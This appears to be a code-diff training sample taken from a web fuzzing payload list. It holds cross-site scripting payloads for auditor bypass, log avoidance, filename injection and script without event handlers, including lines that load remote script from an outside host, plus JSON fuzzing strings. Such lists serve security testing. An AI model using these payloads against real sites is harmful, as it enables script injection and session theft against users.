anchor.diff:  "><img src=1 onerror=alert(1)>.gif@XSS Injection in Filename
   <script src="data:&comma;alert(1)// @XSS Google Chrome Auditor Bypass
   "><script src=data:&comma;alert(1)// @XSS Google Chrome Auditor Bypass
  -<script src="//brutelogic.com.br&sol;1.js&num; @XSS Google Chrome Auditor Bypass
  -"><script src=//brutelogic.com.br&sol;1.js&num; @XSS Google Chrome Auditor Bypass
  +<script src="//yoursite.com&sol;1.js&num; @XSS Google Chrome Auditor Bypass
  +"><script src=//yoursite.com&sol;1.js&num; @XSS Google Chrome Auditor Bypass
   <link rel=import href="data:text/html&comma;&lt;script&gt;alert(1)&lt;&ol;script&gt; ">@XSS Google Chrome Auditor Bypass
   <svg onload=eval(URL.slice(-8))>#alert(1)@XSS Server Log Avoidance
   <svg onload=eval(location.hash.slice(1)>#alert(1)@XSS Server Log Avoidance
  
positive.code: <iframe src=javascript:alert(1)> @XSS Without Event Handlers
  <embed src=javascript:alert(1)> @XSS Without Event Handlers
  <a href=javascript:alert(1)>@XSS Without Event Handlers
  <math><brute href=javascript:alert(1)>@XSS Without Event Handlers
  <form action=javascript:alert(1)><input type=submit> @XSS Without Event Handlers
  <isindex action=javascript:alert(1) type=submit value=click> @XSS Without Event Handlers
  <form><button formaction=javascript:alert(1)>@XSS Without Event Handlers
  
negative.code: [":\x00", "1"]@JSON_Fuzzing
  ":test"@JSON_Fuzzing
  "\"\\/Date(1335205592410)\\/\""@JSON_Fuzzing
  "\"\\/Date(-1)\\/\""@JSON_Fuzzing
  